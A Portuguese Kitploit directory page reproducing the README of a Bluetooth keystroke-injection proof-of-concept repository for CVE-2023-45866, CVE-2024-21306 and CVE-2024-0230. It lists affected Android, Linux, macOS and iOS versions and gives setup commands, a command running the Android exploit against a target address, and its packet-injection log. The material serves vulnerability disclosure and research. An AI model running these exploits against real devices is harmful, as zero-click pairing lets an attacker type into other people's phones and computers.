Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hi_my_name_is_keyboard — PoCs de exploit de injeção de teclas Bluetooth para CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230 direcionados a Android, Linux, macOS e iOS por meio de teclados HID emulados. | Kitploit
Ferramentas/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
Segurança AndroidSegurança BluetoothSegurança iOSExploraçãoSegurança Sem FioSegurança MóvelSegurança de Hardware e IoTAtaque Adversário

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

PoCs de exploit de injeção de teclas Bluetooth para CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230 direcionados a Android, Linux, macOS e iOS por meio de teclados HID emulados.

Ver Repositório
73111324há 2 anosRevisado pelo Kitploit

Olá, o Meu Nome é Teclado

Este repositório contém scripts de prova de conceito para CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230. Detalhes adicionais podem ser encontrados no artigo do blog.

Prova de ConceitoDescrição
Injeção de Teclas no AndroidEmparelha à força um teclado Bluetooth virtual com um dispositivo Android vulnerável e injeta 10 segundos de pressionamentos da tecla tab.
Injeção de Teclas no LinuxEmparelha à força um teclado Bluetooth virtual com um host Linux e injeta 10 segundos de pressionamentos da tecla tab.
Injeção de Teclas no macOSEmparelha à força um teclado Bluetooth virtual com um host macOS e injeta teclas para abrir um navegador web e realizar uma pesquisa no Google.
Injeção de Teclas no iOSEmparelha à força um teclado Bluetooth virtual com um host iOS e injeta teclas para abrir um navegador web e navegar para um URL.
Injeção de Teclas no WindowsEmparelha à força um teclado Bluetooth virtual com um host Windows e injeta pressionamentos da tecla tab.
Chave de Ligação do Magic Keyboard via Porta LightningLê a chave de ligação Bluetooth pela porta Lightning em um Magic Keyboard.
Chave de Ligação do Magic Keyboard via BluetoothLê a chave de ligação Bluetooth do serviço HID Bluetooth não autenticado no Magic Keyboard.
Chave de Ligação do Magic Keyboard via Porta USB no MacLê a chave de ligação Bluetooth de um Magic Keyboard alvo ao falsificar o teclado via USB para o Mac emparelhado.

Dependências

Sabe-se que os scripts funcionam em um host Ubuntu 22.04 com um adaptador Bluetooth baseado em Broadcom.

Usei principalmente este adaptador: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

Partindo de uma instalação limpa do Ubuntu 22.04, as dependências podem ser instaladas com os seguintes comandos.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Injeção de Teclado

Injeção de Teclado no Android

Dispositivos Android são vulneráveis antes do nível de patch de segurança de 2023-12-05.

Quando o Bluetooth está habilitado em um dispositivo Android sem patch, um atacante pode parear um teclado Bluetooth emulado e injetar teclas, sem confirmação do usuário. Este é um ataque de zero clique que funciona sempre que o Bluetooth está habilitado.

Versões Afetadas

Esta vulnerabilidade afeta o Android ~4.2.2 e versões posteriores.

  • Android 4.2.2 - 10 não serão corrigidos
  • Android 11 - 14 têm patches disponíveis (nível de patch de segurança de 2023-12-05)
  • Pixel 6, 7 e 8 foram corrigidos
  • Pixel 5 e modelos mais antigos permanecem vulneráveis

Estado Inicial

  • O Bluetooth está habilitado no dispositivo Android alvo

Executando o PoC

Execute o PoC direcionado ao dispositivo Android 5C:F3:70:AA:07:BD usando a interface hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

Se for bem-sucedido, o PoC injetará um payload de pressionamentos da tecla `tab` por 10 segundos.

#### Exemplo de Saída```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Injeção de Teclas no Linux

Hosts Linux executando BlueZ 5 são vulneráveis antes da distribuição dos patches, que começou em aproximadamente dezembro de 2023. Números de versão específicos dependem da distribuição Linux.

Quando um host Linux sem patch está detectável e conectável via Bluetooth, um atacante pode parear um teclado Bluetooth emulado e injetar teclas, sem confirmação do usuário. Este é um ataque zero-click que funciona sempre que o host está detectável e conectável.

Versões Afetadas

Esta vulnerabilidade é entendida como afetando distribuições Linux sem patch que usam a configuração padrão do BlueZ 5.

O Google afirma que o ChromeOS não foi afetado por esta vulnerabilidade e, embora o ChromeOS não tenha sido testado como parte desta pesquisa, a configuração do BlueZ deles parece impedir o ataque.

As distribuições afetadas incluem Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto e Amazon Linux. Várias versões podem ser afetadas, e o Ubuntu, por exemplo, corrigiu 16.04, 18.04, 20.04, 22.04, 23.04 e 23.10.

Estado Inicial

  • O host Linux alvo está detectável e conectável via Bluetooth.
  • Hosts Linux são comumente detectáveis e conectáveis quando o painel de configurações de Bluetooth está aberto.

Executando o PoC

Baixar ferramenta